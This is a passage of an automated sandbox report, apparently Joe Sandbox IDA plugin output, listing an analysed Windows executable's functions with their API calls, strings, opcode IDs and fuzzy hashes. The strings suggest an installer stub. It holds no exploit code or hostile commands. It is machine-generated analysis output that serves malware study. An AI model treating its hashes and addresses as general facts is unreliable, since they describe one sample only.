Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction ID: 29266b44d1cae769f6d8fca298176d7cc4518162af5fbc8546bcefd12e7d5eb7
Opcode Fuzzy Hash: 2b80b69c85b54ac5f33439f299733a34c1a7b021a45597119d957f721ab6f898
Instruction Fuzzy Hash: EF114972500008FFDF119F90EE85DAA3B7AFB54348F00407AFA06F6170D7759E54AA29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00408838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

GlobalFree.KERNEL32(005EF168), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction ID: 606d2f288e59f9406d2e88b5b0598c54d729d8d595f649ff0f3e4a994beab86c
Opcode Fuzzy Hash: 6f3e0dbebcfa7f75c0754c170d72e8097fcb7c93b116c2da6e8eed637ff4f305
Instruction Fuzzy Hash: 82115E72900109AFCF00EFA1DD45DAE7BB8EF04344F10403AFA09F61A1D7799A40DB19

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,0040F0D0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction ID: 5d007b3c2ae3d1ce6b2586a1921c4ad46276280cee2e515d5d1d957ff8a092fa
Opcode Fuzzy Hash: 02f149ecbdf3f63b5c58a8b7f5a2f789e982e3470d3956ff315881f03770554e
Instruction Fuzzy Hash: 76016171500205FBDB14AF70DE48D9E3B78EF05359F10443AF646B91E1D6798982DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 004020D1
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 004020DF
DeleteObject.GDI32(00000000), ref: 004020EE

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction ID: a6d8e4af78efbdafb2d3f18e6b80530ac635d705efb76da9f8ac6e555915fa7b
Opcode Fuzzy Hash: 1f7c9829ad23568ddcd68d747fd9c97de9c434eb898eff28d5e97dd8542ad38d
Instruction Fuzzy Hash: 95F012B2600508AFDB00EBA4EF89DAF7BBCEB04305B104579F642F6161C6759E418B28

Function 00401F80 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401FE6
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401FFE

Strings

!, xrefs: 00401FB6

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction ID: e43e738488dd09895ebc4b193b1bc1394e214230f2e5861cb954e074e697f1bf
Opcode Fuzzy Hash: 268bfc816d722a3cdb4a25197971aab361e313674f42ba9e2dfc46ce407b5277
Instruction Fuzzy Hash: 93217171900209ABDF15AFB4D986ABE7BB9EF04349F14413EF602F60E2D6798A40D758

Function 004027E3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401553: RegOpenKeyExW.ADVAPI32(?,00000000,00000022,00000000,?,?), ref: 0040158B

RegCloseKey.ADVAPI32(00000000), ref: 0040282E
RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 0040280E

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

DeleteRegValue: "%s\%s" "%s", xrefs: 00402820
DeleteRegKey: "%s\%s", xrefs: 00402843

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseDeleteOpenValuelstrlenwvsprintf
String ID: DeleteRegKey: "%s\%s"$DeleteRegValue: "%s\%s" "%s"
API String ID: 1697273262-1764544995
Opcode ID: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction ID: a9eecf508c221bc7802a822649300ece756bcc80235207ffe39efc99e8d71eac
Opcode Fuzzy Hash: 17145ca8eb8223996ba0bf6dcd82413fea569a735e29ac8632e0b2d115fecab3
Instruction Fuzzy Hash: FA11A772E00101ABDB10FFA5DD4AABE7AA4EF40354F14443FF50AB61D2D6BD8A50879D

Function 004048CC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00404902
CallWindowProcW.USER32(?,00000200,?,?), ref: 00404970

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Strings

@rD, xrefs: 00404934
, xrefs: 004048DA

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID: $@rD
API String ID: 3748168415-881980237
Opcode ID: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction ID: bed307b1c5f775dd60c200178c13c7fdb07d6bd57f5d25ab133f42f3a31df96a
Opcode Fuzzy Hash: dbb9f75acddd66739c757162f424edfdbc4896bcfe3732b5d05f7797001715e0
Instruction Fuzzy Hash: 7A114FB1500218ABEF21AF61ED41E9B3769AB84359F00803BF714751A2C77C8D519BAD

Function 00402665 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Part of subcall function 004062D5: FindFirstFileW.KERNELBASE(004572C0,0045BEC8,004572C0,004067CE,004572C0), ref: 004062E0
Part of subcall function 004062D5: FindClose.KERNEL32(00000000), ref: 004062EC

lstrlenW.KERNEL32 ref: 004026B4
lstrlenW.KERNEL32(00000000), ref: 004026C1
SHFileOperationW.SHELL32(?,?,?,00000000), ref: 004026EC

Strings

CopyFiles "%s"->"%s", xrefs: 0040267F

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$FileFind$CloseFirstOperationwvsprintf
String ID: CopyFiles "%s"->"%s"
API String ID: 2577523808-3778932970
Opcode ID: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction ID: a779005ae7d6007116ac0765ed120a10e3eb966af121a96df1e98a57451096ba
Opcode Fuzzy Hash: d138b8f9e5546ee40c5c7b94d2e402c7a6ef9e03f94093a7ede85926a053d7b8
Instruction Fuzzy Hash: A0112171D00214A6CB10FFBA994699FBBBCEF44354F10843FB506F72D2E6B985118B59

Function 00406224 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 53stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00406278
lstrcatW.KERNEL32(00000000,...), ref: 0040629B

Strings

..., xrefs: 00406293
%02x%c, xrefs: 00406270

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcatwsprintf
String ID: %02x%c$...
API String ID: 3065427908-1057055748
Opcode ID: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction ID: b8620b589ecf2e5093343df65250d9ec4fb1615d5218d90249241d8ea01b8719
Opcode Fuzzy Hash: ab6e3f364f28889fa0e557be1434f2389f45bfc0df6a8c97b916548b2a1c6c1a
Instruction Fuzzy Hash: A2014932500214EFCB10EF58CC84A9EBBE9EB84304F20407AF405F3180D6759EA48794

Function 00405047 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 00405057

Part of subcall function 00403DAF: SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

OleUninitialize.OLE32(00000404,00000000), ref: 004050A5

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

Skipping section: "%s", xrefs: 004050B5
Section: "%s", xrefs: 00405079

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: InitializeMessageSendUninitializelstrlenwvsprintf
String ID: Section: "%s"$Skipping section: "%s"
API String ID: 2266616436-4211696005
Opcode ID: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction ID: 490ae00110c0e09774d0d246d4d4a011172e9101669e5a2b786a62fce758e9f8
Opcode Fuzzy Hash: e437b8ceb6229a6f9ab503619c9af8890d1bc97808a7dc02d8be9cd793390a3b
Instruction Fuzzy Hash: 41F0F4338087009BE6506B64AE07B9B77A4DFD4320F24007FFE48721E1ABFC48818A9D

Function 004020F9 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00402100
GetDeviceCaps.GDI32(00000000), ref: 00402107
MulDiv.KERNEL32(00000000,00000000), ref: 00402117

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

CreateFontIndirectW.GDI32(0041F0F0), ref: 0040216A

Part of subcall function 00405F51: wsprintfW.USER32 ref: 00405F5E

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectVersionwsprintf
String ID:
API String ID: 1599320355-0
Opcode ID: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction ID: 656afd6720eca978824560f17fb47cc17b19fb3a621816cfe3730d6e1c8eda21
Opcode Fuzzy Hash: 6f0d7b084d37585979e4dd0fd2aac30abed8a2b5fd168dddd791f163065a0eb0
Instruction Fuzzy Hash: DA017172644650EFE701ABB4ED4ABDA3BA4A725315F10C43AE645A61E3C678440A8B2D

Function 004071F8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406ED2: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6

lstrcpynW.KERNEL32(?,?,00000009), ref: 00407239
lstrcmpW.KERNEL32(?,Version ), ref: 0040724A
lstrcpynW.KERNEL32(?,?,?), ref: 00407261

Strings

Version , xrefs: 00407241

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpyn$CreateFilelstrcmp
String ID: Version
API String ID: 512980652-315105994
Opcode ID: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction ID: 151640cc4cfa07bb85738859349229c9473c158da19ee21f10eacb3052f8d035
Opcode Fuzzy Hash: 4a1870cd75b7b8bbcc0c4c6a066d827f0aa8b2b5b5f43a101b4d9a41e631e9ca
Instruction Fuzzy Hash: 3EF03172A0021CABDB109AA5DD46EEA777CAB44700F100476F600F6191E6B59E158BA5

Function 004032D2 Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,00403703,00000001,?,?,?,00000000,00403A47,?), ref: 004032E5
GetTickCount.KERNEL32 ref: 00403303
CreateDialogParamW.USER32(0000006F,00000000,0040324C,00000000), ref: 00403320
ShowWindow.USER32(00000000,00000005,?,?,?,00000000,00403A47,?), ref: 0040332E

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction ID: 401e6cecbc7a0b9e3d471fb50fe358663bd3ad25f9a7ebc527197863dd5a4904
Opcode Fuzzy Hash: 47d4170aef7bfd746f2c3ad407b5e1a24093745f4c41283d4ce41cd21e437078
Instruction Fuzzy Hash: 23F08230502620EBC221AF64FE5CBAB7F68FB04B82701447EF545F12A4CB7849928BDC

Function 00406365 Relevance: 6.0, APIs: 4, Instructions: 31memorylibraryloaderCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004,00000000,?,?,00402449,?,?,?,00000008,00000001,000000F0), ref: 00406370
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00002004,00000000,00000000,?,?,00402449,?,?,?,00000008,00000001), ref: 00406386
GetProcAddress.KERNEL32(?,00000000), ref: 00406395
GlobalFree.KERNEL32(00000000), ref: 0040639E

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AddressAllocByteCharFreeMultiProcWide
String ID:
API String ID: 2883127279-0
Opcode ID: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction ID: 581917a1a4a7218ca9fbbc4554f9bfb31441e22884f00dccc1ee77d568dea7f2
Opcode Fuzzy Hash: 9b9152501c533f071dd2545c5f3fa28dbd06be6ef0eddba5fde26ce4b08cefa4
Instruction Fuzzy Hash: 19E048712012107BE2101B669E8CD677EADDFCA7B6B05013EF695F51A0CE348C15D675

Function 00402797 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25stringCOMMON

Download Yara Rule

APIs

GetPrivateProfileStringW.KERNEL32(00000000,00000000,?,?,00002003,00000000), ref: 004027CD
lstrcmpW.KERNEL32(?,?,?,00002003,00000000,000000DD,00000012,00000001), ref: 004027D8

Strings

!N~, xrefs: 00402797

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: PrivateProfileStringlstrcmp
String ID: !N~
API String ID: 623250636-529124213
Opcode ID: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction ID: 7cd271610f6b1cb64eb4c57d825f56a096f62725fe87e34e9129affe44791136
Opcode Fuzzy Hash: 866873a94fae700ec207294a0f2462ae5c2747d97e8320b74985250fbb79316b
Instruction Fuzzy Hash: 37E0E571500208ABDB00BBA0DE85DAE7BBCAF05304F14443AF641F71E3EA7459028718

Function 00405C3F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00457278,Error launching installer), ref: 00405C64
CloseHandle.KERNEL32(?), ref: 00405C71

Strings

Error launching installer, xrefs: 00405C48

Memory Dump Source

Source File: 00000000.00000002.1499598745.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1499514709.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499615911.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499675913.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1499759422.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
